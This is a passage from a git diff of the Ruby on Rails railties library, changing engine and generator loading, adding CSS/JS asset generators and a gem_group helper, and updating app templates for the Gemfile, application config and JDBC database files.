the migrations may be skipped if a migration with the same name already exists # in application. In such a situation you must decide whether to leave that migration or rename the - # migration in application and rerun copying migrations. + # migration in the application and rerun copying migrations. # # If your engine has migrations, you may also want to prepare data for the database in # the <tt>seeds.rb</tt> file. You can load that data using the <tt>load_seed</tt> method, e.g. @@ -330,6 +334,14 @@ module Rails autoload :Configuration, "rails/engine/configuration" autoload :Railties, "rails/engine/railties" + def load_generators(app=self) + initialize_generators + railties.all { |r| r.load_generators(app) } + Rails::Generators.configure!(app.config.generators) + super + self + end + class << self attr_accessor :called_from, :isolated alias :isolated? :isolated @@ -348,6 +360,7 @@ module Rails end def endpoint(endpoint = nil) + @endpoint ||= nil @endpoint = endpoint if endpoint @endpoint end @@ -387,12 +400,20 @@ module Rails delegate :middleware, :root, :paths, :to => :config delegate :engine_name, :isolated?, :to => "self.class" - def load_tasks + def load_tasks(app=self) + railties.all { |r| r.load_tasks(app) } super paths["lib/tasks"].existent.sort.each { |ext| load(ext) } end + def load_console(app=self) + railties.all { |r| r.load_console(app) } + super + end + def eager_load! + railties.all(&:eager_load!) + config.eager_load_paths.each do |load_path| matcher = /\A#{Regexp.escape(load_path)}\/(.*)\.rb\Z/ Dir.glob("#{load_path}/**/*.rb").sort.each do |file| @@ -467,7 +488,7 @@ module Rails # Blog::Engine.load_seed def load_seed seed_file = paths["db/seeds"].existent.first - load(seed_file) if File.exist?(seed_file) + load(seed_file) if seed_file && File.exist?(seed_file) end # Add configured load paths to ruby load paths and remove duplicates. @@ -516,15 +537,15 @@ module Rails end end - initializer :load_environment_config, :before => :load_environment_hook do + initializer :load_environment_config, :before => :load_environment_hook, :group => :all do environment = paths["config/environments"].existent.first require environment if environment end - initializer :append_assets_path do |app| - app.config.assets.paths.unshift(*paths["vendor/assets"].existent) - app.config.assets.paths.unshift(*paths["lib/assets"].existent) - app.config.assets.paths.unshift(*paths["app/assets"].existent) + initializer :append_assets_path, :group => :all do |app| + app.config.assets.paths.unshift(*paths["vendor/assets"].existent_directories) + app.config.assets.paths.unshift(*paths["lib/assets"].existent_directories) + app.config.assets.paths.unshift(*paths["app/assets"].existent_directories) end initializer :prepend_helpers_path do |app| @@ -561,12 +582,16 @@ module Rails protected + def initialize_generators + require "rails/generators" + end + def routes? defined?(@routes) end def has_migrations? - paths["db/migrate"].first.present? + paths["db/migrate"].existent.any? end def find_root_with_flag(flag, default=nil) diff --git a/railties/lib/rails/engine/commands.rb b/railties/lib/rails/engine/commands.rb new file mode 100644 index 0000000000..b71119af77 --- /dev/null +++ b/railties/lib/rails/engine/commands.rb @@ -0,0 +1,39 @@ +require 'active_support/core_ext/object/inclusion' + +ARGV << '--help' if ARGV.empty? + +aliases = { + "g" => "generate", + "d" => "destroy" +} + +command = ARGV.shift +command = aliases[command] || command + +require ENGINE_PATH +engine = ::Rails::Engine.find(ENGINE_ROOT) + +case command +when 'generate', 'destroy' + require 'rails/generators' + Rails::Generators.namespace = engine.railtie_namespace + engine.load_generators + require "rails/commands/#{command}" + +when '--version', '-v' + ARGV.unshift '--version' + require 'rails/commands/application' + +else + puts "Error: Command not recognized" unless command.in?(['-h', '--help']) + puts <<-EOT +Usage: rails COMMAND [ARGS] + +The common rails commands available for engines are: + generate Generate new code (short-cut alias: "g") + destroy Undo code generated with "generate" (short-cut alias: "d") + +All commands can be run with -h for more information. + EOT + exit(1) +end diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb index 85c67af19a..27f8d13ce8 100644 --- a/railties/lib/rails/generators.rb +++ b/railties/lib/rails/generators.rb @@ -20,6 +20,8 @@ module Rails autoload :ResourceHelpers, 'rails/generators/resource_helpers' autoload :TestCase, 'rails/generators/test_case' + mattr_accessor :namespace + DEFAULT_ALIASES = { :rails => { :actions => '-a', @@ -51,13 +53,13 @@ module Rails :helper => true, :integration_tool => nil, :javascripts => true, - :javascript_engine => nil, + :javascript_engine => :js, :orm => false, :performance_tool => nil, :resource_controller => :controller, :scaffold_controller => :scaffold_controller, :stylesheets => true, - :stylesheet_engine => nil, + :stylesheet_engine => :css, :test_framework => false, :template_engine => :erb }, @@ -68,13 +70,14 @@ module Rails } } - def self.configure!(config = Rails.application.config.generators) #:nodoc: + def self.configure!(config) #:nodoc: no_color! unless config.colorize_logging aliases.deep_merge! config.aliases options.deep_merge! config.options fallbacks.merge! config.fallbacks templates_path.concat config.templates templates_path.uniq! + hide_namespaces(*config.hidden_namespaces) end def self.templates_path @@ -175,6 +178,7 @@ module Rails orm = options[:rails][:orm] test = options[:rails][:test_framework] template = options[:rails][:template_engine] + css = options[:rails][:stylesheet_engine] [ "rails", @@ -194,7 +198,11 @@ module Rails "#{test}:plugin", "#{template}:controller", "#{template}:scaffold", - "#{template}:mailer" + "#{template}:mailer", + "#{css}:scaffold", + "#{css}:assets", + "css:assets", + "css:scaffold" ] end end @@ -280,7 +288,6 @@ module Rails # Receives namespaces in an array and tries to find matching generators # in the load path. def self.lookup(namespaces) #:nodoc: - load_generators_from_railties! paths = namespaces_to_paths(namespaces) paths.each do |raw_path| @@ -292,9 +299,6 @@ module Rails return rescue LoadError => e raise unless e.message =~ /#{Regexp.escape(path)}$/ - rescue NameError => e - raise unless e.message =~ /Rails::Generator([\s(::)]|$)/ - warn "[WARNING] Could not load generator #{path.inspect} because it's a Rails 2.x generator, which is not supported anymore. Error: #{e.message}.\n#{e.backtrace.join("\n")}" rescue Exception => e warn "[WARNING] Could not load generator #{path.inspect}. Error: #{e.message}.\n#{e.backtrace.join("\n")}" end @@ -304,27 +308,18 @@ module Rails # This will try to load any generator in the load path to show in help. def self.lookup! #:nodoc: - load_generators_from_railties! - $LOAD_PATH.each do |base| Dir[File.join(base, "{rails/generators,generators}", "**", "*_generator.rb")].each do |path| begin path = path.sub("#{base}/", "") require path - rescue Exception => e + rescue Exception # No problem end end end end - # Allow generators to be loaded from custom paths. - def self.load_generators_from_railties! #:nodoc: - return if defined?(@generators_from_railties) || Rails.application.nil? - @generators_from_railties = true - Rails.application.load_generators - end - # Convert namespaces to paths by replacing ":" for "/" and adding # an extra lookup. For example, "rails:model" should be searched # in both: "rails/model/model_generator" and "rails/model_generator". diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb index d31a3262e3..b26839644e 100644 --- a/railties/lib/rails/generators/actions.rb +++ b/railties/lib/rails/generators/actions.rb @@ -68,7 +68,32 @@ module Rails end in_root do - append_file "Gemfile", "gem #{parts.join(", ")}\n", :verbose => false + str = "gem #{parts.join(", ")}\n" + str = " " + str if @in_group + append_file "Gemfile", str, :verbose => false + end + end + + # Wraps gem entries inside a group. + # + # ==== Example + # + # gem_group :development, :test do + # gem "rspec-rails" + # end + # + def gem_group(*names, &block) + name = names.map(&:inspect).join(", ") + log :gemfile, "group #{name}" + + in_root do + append_file "Gemfile", "\ngroup #{name} do\n", :force => true + + @in_group = true + instance_eval(&block) + @in_group = false + + append_file "Gemfile", "end\n", :force => true end end @@ -92,14 +117,15 @@ module Rails # def environment(data=nil, options={}, &block) sentinel = /class [a-z_:]+ < Rails::Application/i + env_file_sentinel = /::Application\.configure do/ data = block.call if !data && block_given? in_root do if options[:env].nil? - inject_into_file 'config/application.rb', "\n #{data}", :after => sentinel, :verbose => false + inject_into_file 'config/application.rb', "\n #{data}", :after => sentinel, :verbose => false else - Array.wrap(options[:env]).each do|env| - append_file "config/environments/#{env}.rb", "\n#{data}", :verbose => false + Array.wrap(options[:env]).each do |env| + inject_into_file "config/environments/#{env}.rb", "\n #{data}", :after => env_file_sentinel, :verbose => false end end end @@ -114,12 +140,12 @@ module Rails # git :add => "this.file that.rb" # git :add => "onefile.rb", :rm => "badfile.cxx" # - def git(command={}) - if command.is_a?(Symbol) - run "git #{command}" + def git(commands={}) + if commands.is_a?(Symbol) + run "git #{commands}" else - command.each do |command, options| - run "git #{command} #{options}" + commands.each do |cmd, options| + run "git #{cmd} #{options}" end end end @@ -226,7 +252,7 @@ module Rails # def rake(command, options={}) log :rake, command - env = options[:env] || 'development' + env = options[:env] || ENV["RAILS_ENV"] || 'development' sudo = options[:sudo] && RbConfig::CONFIG['host_os'] !~ /mswin|mingw/ ? 'sudo ' : '' in_root { run("#{sudo}#{extify(:rake)} #{command} RAILS_ENV=#{env}", :verbose => false) } end diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb index 8512b1ca4a..10fdfdd8a9 100644 --- a/railties/lib/rails/generators/app_base.rb +++ b/railties/lib/rails/generators/app_base.rb @@ -1,5 +1,5 @@ require 'digest/md5' -require 'active_support/secure_random' +require 'securerandom' require 'active_support/core_ext/string/strip' require 'rails/version' unless defined?(Rails::VERSION) require 'rbconfig' @@ -9,8 +9,8 @@ require 'uri' module Rails module Generators class AppBase < Base - DATABASES = %w( mysql oracle postgresql sqlite3 frontbase ibm_db ) - JDBC_DATABASES = %w( jdbcmysql jdbcsqlite3 jdbcpostgresql ) + DATABASES = %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver ) + JDBC_DATABASES = %w( jdbcmysql jdbcsqlite3 jdbcpostgresql jdbc ) DATABASES.concat(JDBC_DATABASES) attr_accessor :rails_template @@ -37,6 +37,9 @@ module Rails class_option :skip_active_record, :type => :boolean, :aliases => "-O", :default => false, :desc => "Skip Active Record files" + class_option :skip_sprockets, :type => :boolean, :aliases => "-S", :default => false, + :desc => "Skip Sprockets files" + class_option :database, :type => :string, :aliases => "-d", :default => "sqlite3", :desc => "Preconfigure for selected database (options: #{DATABASES.join('/')})" @@ -64,8 +67,8 @@ module Rails def initialize(*args) @original_wd = Dir.pwd - super + convert_database_option_for_jruby end protected @@ -124,47 +127,62 @@ module Rails end def include_all_railties? - !options[:skip_active_record] && !options[:skip_test_unit] + !options[:skip_active_record] && !options[:skip_test_unit] && !options[:skip_sprockets] end def comment_if(value) - options[value] ? '#' : '' + options[value] ? '# ' : '' end def rails_gemfile_entry if options.dev? <<-GEMFILE.strip_heredoc gem 'rails', :path => '#{Rails::Generators::RAILS_DEV_PATH}' + gem 'journey', :git => 'git://github.com/rails/journey.git' GEMFILE elsif options.edge? <<-GEMFILE.strip_heredoc gem 'rails', :git => 'git://github.com/rails/rails.git' + gem 'journey', :git => 'git://github.com/rails/journey.git' GEMFILE else <<-GEMFILE.strip_heredoc gem 'rails', '#{Rails::VERSION::STRING}' # Bundle edge Rails instead: - # gem 'rails', :git => 'git://github.com/rails/rails.git' + # gem 'rails', :git => 'git://github.com/rails/rails.git' GEMFILE end end def gem_for_database - # %w( mysql oracle postgresql sqlite3 frontbase ibm_db jdbcmysql jdbcsqlite3 jdbcpostgresql ) + # %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver jdbcmysql jdbcsqlite3 jdbcpostgresql ) case options[:database] - when "oracle" then "ruby-oci8" - when "postgresql" then "pg" - when "frontbase" then "ruby-frontbase" - when "mysql" then "mysql2" - when "jdbcmysql" then "activerecord-jdbcmysql-adapter" - when "jdbcsqlite3" then "activerecord-jdbcsqlite3-adapter" - when "jdbcpostgresql" then "activerecord-jdbcpostgresql-adapter" + when "oracle" then "ruby-oci8" + when "postgresql" then "pg" + when "frontbase" then "ruby-frontbase" + when "mysql" then "mysql2" + when "sqlserver" then "activerecord-sqlserver-adapter" + when "jdbcmysql" then "activerecord-jdbcmysql-adapter" + when "jdbcsqlite3" then "activerecord-jdbcsqlite3-adapter" + when "jdbcpostgresql" then "activerecord-jdbcpostgresql-adapter" + when "jdbc" then "activerecord-jdbc-adapter" else options[:database] end end - def gem_for_ruby_debugger + def convert_database_option_for_jruby + if defined?(JRUBY_VERSION) + case options[:database] + when "oracle" then options[:database].replace "jdbc" + when "postgresql" then options[:database].replace "jdbcpostgresql" + when "mysql" then options[:database].replace "jdbcmysql" + when "sqlite3" then options[:database].replace "jdbcsqlite3" + end + end + end + + def ruby_debugger_gemfile_entry if RUBY_VERSION < "1.9" "gem 'ruby-debug'" else @@ -172,29 +190,36 @@ module Rails end end - def gem_for_turn - unless RUBY_VERSION < "1.9.2" || options[:skip_test_unit] - <<-GEMFILE.strip_heredoc - group :test do - # Pretty printed test output - gem 'turn', :require => false - end - GEMFILE - end + def assets_gemfile_entry + <<-GEMFILE.strip_heredoc + # Gems used only for assets and not required + # in production environments by default. + group :assets do + gem 'sass-rails', :git => 'git://github.com/rails/sass-rails.git' + gem 'coffee-rails', :git => 'git://github.com/rails/coffee-rails.git' + gem 'uglifier', '>= 1.0.3' + end + GEMFILE end - def gem_for_javascript + def javascript_gemfile_entry "gem '#{options[:javascript]}-rails'" unless options[:skip_javascript] end def bundle_command(command) - require 'bundler' - require 'bundler/cli' - say_status :run, "bundle #{command}" - Bundler::CLI.new.send(command) - rescue - say_status :failure, "bundler raised an exception, are you offline?", :red + + # We are going to shell out rather than invoking Bundler::CLI.new(command) + # because `rails new` loads the Thor gem and on the other hand bundler uses + # its own vendored Thor, which could be a different version. Running both + # things in the same process is a recipe for a night with paracetamol. + # + # We use backticks and #print here instead of vanilla #system because it + # is easier to silence stdout in the existing test suite this way. The + # end-user gets the bundler commands called anyway, so no big deal. + # + # Thanks to James Tucker for the Gem tricks involved in this call. + print `"#{Gem.ruby}" -rubygems "#{Gem.bin_path('bundler', 'bundle')}" #{command}` end def run_bundle diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb index 1f6a7a2f59..f38a487a4e 100644 --- a/railties/lib/rails/generators/base.rb +++ b/railties/lib/rails/generators/base.rb @@ -34,7 +34,7 @@ module Rails usage = source_root && File.expand_path("../USAGE", source_root) @desc ||= if usage && File.exist?(usage) - File.read(usage) + ERB.new(File.read(usage)).result(binding) else "Description:\n Create #{base_name.humanize.downcase} files for #{generator_name} generator." end @@ -91,7 +91,7 @@ module Rails # # The lookup in this case for test_unit as input is: # - # "test_unit:awesome", "test_unit" + # "test_framework:awesome", "test_framework" # # Which is not the desired the lookup. You can change it by providing the # :as option: @@ -102,7 +102,7 @@ module Rails # # And now it will lookup at: # - # "test_unit:controller", "test_unit" + # "test_framework:controller", "test_framework" # # Similarly, if you want it to also lookup in the rails namespace, you just # need to provide the :base value: @@ -113,7 +113,7 @@ module Rails # # And the lookup is exactly the same as previously: # - # "rails:test_unit", "test_unit:controller", "test_unit" + # "rails:test_framework", "test_framework:controller", "test_framework" # # ==== Switches # @@ -259,9 +259,9 @@ module Rails extra << false unless Object.method(:const_defined?).arity == 1 # Extract the last Module in the nesting - last = nesting.inject(Object) do |last, nest| - break unless last.const_defined?(nest, *extra) - last.const_get(nest) + last = nesting.inject(Object) do |last_module, nest| + break unless last_module.const_defined?(nest, *extra) + last_module.const_get(nest) end if last && last.const_defined?(last_name.camelize, *extra) diff --git a/railties/lib/rails/generators/css/assets/assets_generator.rb b/railties/lib/rails/generators/css/assets/assets_generator.rb new file mode 100644 index 0000000000..492177ca2e --- /dev/null +++ b/railties/lib/rails/generators/css/assets/assets_generator.rb @@ -0,0 +1,13 @@ +require "rails/generators/named_base" + +module Css + module Generators + class AssetsGenerator < Rails::Generators::NamedBase + source_root File.expand_path("../templates", __FILE__) + + def copy_stylesheet + copy_file "stylesheet.css", File.join('app/assets/stylesheets', class_path, "#{file_name}.css") + end + end + end +end diff --git a/railties/lib/rails/generators/rails/assets/templates/stylesheet.css.scss b/railties/lib/rails/generators/css/assets/templates/stylesheet.css index ba95e217cc..afad32db02 100644 --- a/railties/lib/rails/generators/rails/assets/templates/stylesheet.css.scss +++ b/railties/lib/rails/generators/css/assets/templates/stylesheet.css @@ -1,5 +1,4 @@ -/* +/* Place all the styles related to the matching controller here. They will automatically be included in application.css. - You can use Sass (SCSS) here: http://sass-lang.com/ */ diff --git a/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb new file mode 100644 index 0000000000..1d7fe9fac0 --- /dev/null +++ b/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb @@ -0,0 +1,16 @@ +require "rails/generators/named_base" + +module Css + module Generators + class ScaffoldGenerator < Rails::Generators::NamedBase + # In order to allow the Sass generators to pick up the default Rails CSS and + # transform it, we leave it in a standard location for the CSS stylesheet + # generators to handle. For the simple, default case, just copy it over. + def copy_stylesheet + dir = Rails::Generators::ScaffoldGenerator.source_root + file = File.join(dir, "scaffold.css") + create_file "app/assets/stylesheets/scaffold.css", File.read(file) + end + end + end +end diff --git a/railties/lib/rails/generators/generated_attribute.rb b/railties/lib/rails/generators/generated_attribute.rb index 9450894b05..816d82cac3 100644 --- a/railties/lib/rails/generators/generated_attribute.rb +++ b/railties/lib/rails/generators/generated_attribute.rb @@ -7,7 +7,7 @@ module Rails attr_accessor :name, :type def initialize(name, type) - raise Thor::Error, "Missing type for attribute '#{name}'.\nExample: '#{name}:string' where string is the type." if type.blank? + type = :string if type.blank? @name, @type = name, type.to_sym end @@ -32,7 +32,7 @@ module Rails when :decimal then "9.99" when :datetime, :timestamp, :time then Time.now.to_s(:db) when :date then Date.today.to_s(:db) - when :string then "MyString" + when :string then name == "type" ? "" : "MyString" when :text then "MyText" when :boolean then false when :references, :belongs_to then nil diff --git a/railties/lib/rails/generators/js/assets/assets_generator.rb b/railties/lib/rails/generators/js/assets/assets_generator.rb new file mode 100644 index 0000000000..d134a9e392 --- /dev/null +++ b/railties/lib/rails/generators/js/assets/assets_generator.rb @@ -0,0 +1,13 @@ +require "rails/generators/named_base" + +module Js + module Generators + class AssetsGenerator < Rails::Generators::NamedBase + source_root File.expand_path("../templates", __FILE__) + + def copy_javascript + copy_file "javascript.js", File.join('app/assets/javascripts', class_path, "#{file_name}.js") + end + end + end +end diff --git a/railties/lib/rails/generators/js/assets/templates/javascript.js b/railties/lib/rails/generators/js/assets/templates/javascript.js new file mode 100644 index 0000000000..dee720facd --- /dev/null +++ b/railties/lib/rails/generators/js/assets/templates/javascript.js @@ -0,0 +1,2 @@ +// Place all the behaviors and hooks related to the matching controller here. +// All this logic will automatically be available in application.js. diff --git a/railties/lib/rails/generators/named_base.rb b/railties/lib/rails/generators/named_base.rb index 7e7f8d2d08..c6c0392f43 100644 --- a/railties/lib/rails/generators/named_base.rb +++ b/railties/lib/rails/generators/named_base.rb @@ -63,9 +63,7 @@ module Rails end def namespace - @namespace ||= if defined?(Rails) && Rails.application - Rails.application.class.parents.detect { |n| n.respond_to?(:_railtie) } - end + Rails::Generators.namespace end def namespaced? diff --git a/railties/lib/rails/generators/rails/app/USAGE b/railties/lib/rails/generators/rails/app/USAGE index 9e7a78d132..691095f33f 100644 --- a/railties/lib/rails/generators/rails/app/USAGE +++ b/railties/lib/rails/generators/rails/app/USAGE @@ -2,6 +2,12 @@ Description: The 'rails new' command creates a new Rails application with a default directory structure and configuration at the path you specify. + You can specify extra command-line arguments to be used every time + 'rails new' runs in the .railsrc configuration file in your home directory. + + Note that the arguments specified in the .railsrc file don't affect the + defaults values shown above in this help message. + Example: rails new ~/Code/Ruby/weblog diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb index 5f9fb9685c..3e32f758a4 100644 --- a/railties/lib/rails/generators/rails/app/app_generator.rb +++ b/railties/lib/rails/generators/rails/app/app_generator.rb @@ -88,6 +88,7 @@ module Rails def lib empty_directory "lib" empty_directory_with_gitkeep "lib/tasks" + empty_directory_with_gitkeep "lib/assets" end def log @@ -116,14 +117,20 @@ module Rails end def tmp - empty_directory_with_gitkeep "tmp/cache" + empty_directory "tmp/cache" + empty_directory "tmp/cache/assets" end def vendor + vendor_javascripts vendor_stylesheets vendor_plugins end + def vendor_javascripts + empty_directory_with_gitkeep "vendor/assets/javascripts" + end + def vendor_stylesheets empty_directory_with_gitkeep "vendor/assets/stylesheets" end @@ -137,7 +144,6 @@ module Rails # We need to store the RAILS_DEV_PATH in a constant, otherwise the path # can change in Ruby 1.8.7 when we FileUtils.cd. RAILS_DEV_PATH = File.expand_path("../../../../../..", File.dirname(__FILE__)) - RESERVED_NAMES = %w[application destroy benchmarker profiler plugin runner test] class AppGenerator < AppBase @@ -272,7 +278,7 @@ module Rails end def app_secret - ActiveSupport::SecureRandom.hex(64) + SecureRandom.hex(64) end def mysql_socket diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile index 20bd9db624..d3b8f4d595 100644 --- a/railties/lib/rails/generators/rails/app/templates/Gemfile +++ b/railties/lib/rails/generators/rails/app/templates/Gemfile @@ -4,14 +4,14 @@ source 'http://rubygems.org' <%= database_gemfile_entry -%> -<%= "gem 'jruby-openssl'\n" if defined?(JRUBY_VERSION) && JRUBY_VERSION < "1.6" -%> -# Asset template engines +<%= "gem 'jruby-openssl'\n" if defined?(JRUBY_VERSION) -%> <%= "gem 'json'\n" if RUBY_VERSION < "1.9.2" -%> -gem 'sass' -gem 'coffee-script' -# gem 'uglifier' -<%= gem_for_javascript %> +<%= assets_gemfile_entry %> +<%= javascript_gemfile_entry %> + +# To use ActiveModel has_secure_password +# gem 'bcrypt-ruby', '~> 3.0.0' # Use unicorn as the web server # gem 'unicorn' @@ -20,6 +20,4 @@ gem 'coffee-script' # gem 'capistrano' # To use debugger -# <%= gem_for_ruby_debugger %> - -<%= gem_for_turn -%> +# <%= ruby_debugger_gemfile_entry %> diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt index 19294b3478..f33a7f4ac2 100644 --- a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt +++ b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt @@ -1,9 +1,15 @@ -// This is a manifest file that'll be compiled into including all the files listed below. -// Add new JavaScript/Coffee code in separate files in this directory and they'll automatically -// be included in the compiled file accessible from http://example.com/assets/application.js +// This is a manifest file that'll be compiled into application.js, which will include all the files +// listed below. +// +// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts, +// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path. +// // It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the // the compiled file. // +// WARNING: THE FIRST BLANK LINE MARKS THE END OF WHAT'S TO BE PROCESSED, ANY BLANK LINE SHOULD +// GO AFTER THE REQUIRES BELOW. +// <% unless options[:skip_javascript] -%> //= require <%= options[:javascript] %> //= require <%= options[:javascript] %>_ujs diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css index fc25b5723f..3b5cc6648e 100644 --- a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css +++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css @@ -1,7 +1,13 @@ /* - * This is a manifest file that'll automatically include all the stylesheets available in this directory - * and any sub-directories. You're free to add application-wide styles to this file and they'll appear at - * the top of the compiled file, but it's generally better to create a new file per style scope. + * This is a manifest file that'll be compiled into application.css, which will include all the files + * listed below. + * + * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets, + * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path. + * + * You're free to add application-wide styles to this file and they'll appear at the top of the + * compiled file, but it's generally better to create a new file per style scope. + * *= require_self - *= require_tree . -*/
\ No newline at end of file + *= require_tree . +*/ diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb index 8ff80c6fd3..13fbe9e526 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/application.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb @@ -4,16 +4,20 @@ require File.expand_path('../boot', __FILE__) require 'rails/all' <% else -%> # Pick the frameworks you want: -<%= comment_if :skip_active_record %> require "active_record/railtie" +<%= comment_if :skip_active_record %>require "active_record/railtie" require "action_controller/railtie" require "action_mailer/railtie" require "active_resource/railtie" -<%= comment_if :skip_test_unit %> require "rails/test_unit/railtie" +<%= comment_if :skip_sprockets %>require "sprockets/railtie" +<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie" <% end -%> -# If you have a Gemfile, require the gems listed there, including any gems -# you've limited to :test, :development, or :production. -Bundler.require(:default, Rails.env) if defined?(Bundler) +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require(*Rails.groups(:assets => %w(development test))) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end module <%= app_const_base %> class Application < Rails::Application @@ -39,24 +43,18 @@ module <%= app_const_base %> # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] # config.i18n.default_locale = :de - # Please note that JavaScript expansions are *ignored altogether* if the asset - # pipeline is enabled (see config.assets.enabled below). Put your defaults in - # app/assets/javascripts/application.js in that case. - # - # JavaScript files you want as :defaults (application.js is always included). -<% if options[:skip_javascript] -%> - # config.action_view.javascript_expansions[:defaults] = %w() -<% else -%> - # config.action_view.javascript_expansions[:defaults] = %w(prototype prototype_ujs) -<% end -%> - # Configure the default encoding used in templates for Ruby 1.9. config.encoding = "utf-8" # Configure sensitive parameters which will be filtered from the log file. config.filter_parameters += [:password] +<% unless options.skip_sprockets? -%> # Enable the asset pipeline config.assets.enabled = true + + # Version of your assets, change this if you want to expire all your assets + config.assets.version = '1.0' +<% end -%> end end diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml new file mode 100644 index 0000000000..1d2bf08b91 --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml @@ -0,0 +1,62 @@ +# If you are using mssql, derby, hsqldb, or h2 with one of the +# ActiveRecord JDBC adapters, install the appropriate driver, e.g.,: +# gem install activerecord-jdbcmssql-adapter +# +# Configure using Gemfile: +# gem 'activerecord-jdbcmssql-adapter' +# +#development: +# adapter: mssql +# username: <%= app_name %> +# password: +# host: localhost +# database: <%= app_name %>_development +# +# Warning: The database defined as "test" will be erased and +# re-generated from your development database when you run "rake". +# Do not set this db to the same as development or production. +# +#test: +# adapter: mssql +# username: <%= app_name %> +# password: +# host: localhost +# database: <%= app_name %>_test +# +#production: +# adapter: mssql +# username: <%= app_name %> +# password: +# host: localhost +# database: <%= app_name %>_production + +# If you are using oracle, db2, sybase, informix or prefer to use the plain +# JDBC adapter, configure your database setting as the example below (requires +# you to download and manually install the database vendor's JDBC driver .jar +# file). See your driver documentation for the apropriate driver class and +# connection string: + +development: + adapter: jdbc + username: <%= app_name %> + password: + driver: + url: jdbc:db://localhost/<%= app_name %>_development + +# Warning: The database defined as "test" will be erased and +# re-generated from your development database when you run "rake". +# Do not set this db to the same as development or production. + +test: + adapter: jdbc + username: <%= app_name %> + password: + driver: + url: jdbc:db://localhost/<%= app_name %>_test + +production: + adapter: jdbc + username: <%= app_name %> + password: + driver: + url: jdbc:db://localhost/<%= app_name %>_production diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml index 6bf83e86a5..5a594ac1f3 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml @@ -9,7 +9,7 @@ # And be sure to use new-style password hashing: # http://dev.mysql.com/doc/refman/5.0/en/old-client.html development: - adapter: jdbcmysql + adapter: mysql database: <%= app_name %>_development username: root password: @@ -19,14 +19,14 @@ development: # re-generated from your development database when you run "rake". # Do not set this db to the same as development or production. test: - adapter: jdbcmysql + adapter: mysql database: <%= app_name %>_test username: root password: host: localhost production: - adapter: jdbcmysql + adapter: mysql database: <%= app_name %>_production username: root password: diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml index 0c7f45322b..fe9466b366 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml @@ -1,19 +1,10 @@ -# PostgreSQL. Versions 7.4 and 8.x are supported. -# -# Install the pg driver: -# gem install pg -# On Mac OS X with macports: -# gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config -# On Windows: -# gem install pg -# Choose the win32 build. -# Install PostgreSQL and put its /bin directory on your path. +# PostgreSQL. Versions 8.2 and up are supported. # # Configure Using Gemfile # gem 'activerecord-jdbcpostgresql-adapter' development: - adapter: jdbcpostgresql + adapter: postgresql encoding: unicode database: <%= app_name %>_development username: <%= app_name %> @@ -38,14 +29,14 @@ development: # re-generated from your development database when you run "rake". # Do not set this db to the same as development or production. test: - adapter: jdbcpostgresql + adapter: postgresql encoding: unicode database: <%= app_name %>_test username: <%= app_name %> password: production: - adapter: jdbcpostgresql + adapter: postgresql encoding: unicode database: <%= app_name %>_production username: <%= app_name %> diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml index 6d241d57ae..175f3eb3db 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml @@ -5,16 +5,16 @@ # gem 'activerecord-jdbcsqlite3-adapter' # development: - adapter: jdbcsqlite3 + adapter: sqlite3 database: db/development.sqlite3 # Warning: The database defined as "test" will be erased and # re-generated from your development database when you run "rake". # Do not set this db to the same as development or production. test: - adapter: jdbcsqlite3 + adapter: sqlite3 database: db/test.sqlite3 production: - adapter: 